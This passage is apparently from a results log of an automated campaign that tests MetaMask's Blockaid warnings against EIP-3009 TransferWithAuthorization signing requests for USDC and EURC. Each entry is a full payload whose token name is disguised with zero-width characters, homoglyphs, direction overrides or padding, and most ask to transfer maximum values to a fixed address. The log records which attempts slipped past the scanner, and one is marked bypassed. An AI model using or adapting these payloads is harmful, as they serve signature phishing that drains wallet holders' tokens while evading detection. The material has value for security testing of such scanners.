"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":9007199254740991,\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN14-COMBO-7", "timestamp": "2026-01-31T23:50:23.182Z", "technique": "EIP3009-combo-EURC-trailing_space-trailing_zeros-numeric_ts-all_ones-checksum-v4", "category": "eip3009", "description": "EURC + trailing_space + trailing_zeros + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1000000000000000000000000000000\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN14-COMBO-8", "timestamp": "2026-01-31T23:50:30.122Z", "technique": "EIP3009-combo-EURC-word_joiner-max_uint-max_uint-half_and_half-checksum-v4", "category": "eip3009", "description": "EURC + word_joiner + max_uint + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR⁠C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN14-COMBO-9", "timestamp": "2026-01-31T23:50:39.413Z", "technique": "EIP3009-combo-EURC-zwnj-half_max-numeric_ts-half_and_half-mixed_case-v3", "category": "eip3009", "description": "EURC + zwnj + half_max + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EU‌RC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"57896044618658097711785492504343953926634992332820282019728792003956564819967\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN14-COMBO-10", "timestamp": "2026-01-31T23:50:45.948Z", "technique": "EIP3009-combo-EURC-escape-hex_1m-max_uint-zero-checksum-v3", "category": "eip3009", "description": "EURC + escape + hex_1m + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\u001bC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN14-COMBO-11", "timestamp": "2026-01-31T23:50:52.984Z", "technique": "EIP3009-combo-EURC-bom-round_100k-past_2020-all_ones-checksum-v4", "category": "eip3009", "description": "EURC + bom + round_100k + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN14-COMBO-12", "timestamp": "2026-01-31T23:50:59.950Z", "technique": "EIP3009-combo-USDC-leading_space-numeric_small-max_uint-zero-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + leading_space + numeric_small + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":999999999999,\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN14-COMBO-13", "timestamp": "2026-01-31T23:51:06.488Z", "technique": "EIP3009-combo-EURC-newline-unicode_digits-numeric_ts-half_and_half-lowercase-v4", "category": "eip3009", "description": "EURC + newline + unicode_digits + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\nC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"100000000000\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN14-COMBO-14", "timestamp": "2026-01-31T23:51:13.417Z", "technique": "EIP3009-combo-USDC-cyrillic_a-max_uint-numeric_ts-leading_zeros_nonce-checksum-v3", "category": "eip3009", "description": "USDC + cyrillic_a + max_uint + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN15-COMBO-0", "timestamp": "2026-01-31T23:51:20.422Z", "technique": "EIP3009-combo-USDC-ltr_override-hex_short-year_2100-max-mixed_case-v4", "category": "eip3009", "description": "USDC + ltr_override + hex_short + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‭USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0x1\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN15-COMBO-1", "timestamp": "2026-01-31T23:51:26.948Z", "technique": "EIP3009-combo-USDC-cyrillic_a-alternating-far_future-all_ones-lowercase-v3", "category": "eip3009", "description": "USDC + cyrillic_a + alternating + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"10101010101010101010101010101010\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN15-COMBO-2", "timestamp": "2026-01-31T23:51:33.876Z", "technique": "EIP3009-combo-USDC-softhyphen-hex_mixed_case-just_now-zero-mixed_case-v3", "category": "eip3009", "description": "USDC + softhyphen + hex_mixed_case + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD­ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFf\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN15-COMBO-3", "timestamp": "2026-01-31T23:51:40.417Z", "technique": "EIP3009-combo-EURC-long_1024-hex_max-narrow_1hr-all_a-lowercase-signTypedData", "category": "eip3009", "description": "EURC + long_1024 + hex_max + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN15-COMBO-4", "timestamp": "2026-01-31T23:51:46.946Z", "technique": "EIP3009-combo-EURC-invisible_separator-one_million-leading_zeros_ts-leading_zeros_nonce-lowercase-v4", "category": "eip3009", "description": "EURC + invisible_separator + one_million + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR⁣C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN15-COMBO-5", "timestamp": "2026-01-31T23:51:53.867Z", "technique": "EIP3009-combo-EURC-zwnj-zero-far_future-sequential-lowercase-v3", "category": "eip3009", "description": "EURC + zwnj + zero + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EU‌RC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c1677de65\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true, "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN15-COMBO-6", "timestamp": "2026-01-31T23:52:00.770Z", "technique": "EIP3009-combo-USDC-nbsp-one_million-max_uint-mixed_case_hex-lowercase-signTypedData", "category": "eip3009", "description": "USDC + nbsp + one_million + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x158fB8122fE30641F37c590d4eFdF43e787819A92bD79fD12e3b426162010fA1\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN15-COMBO-7", "timestamp": "2026-01-31T23:52:07.319Z", "technique": "EIP3009-combo-EURC-carriage_return-numeric_max_safe-max_uint-half_and_half-checksum-signTypedData", "category": "eip3009", "description": "EURC + carriage_return + numeric_max_safe + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\rC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":9007199254740991,\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN15-COMBO-8", "timestamp": "2026-01-31T23:52:13.852Z", "technique": 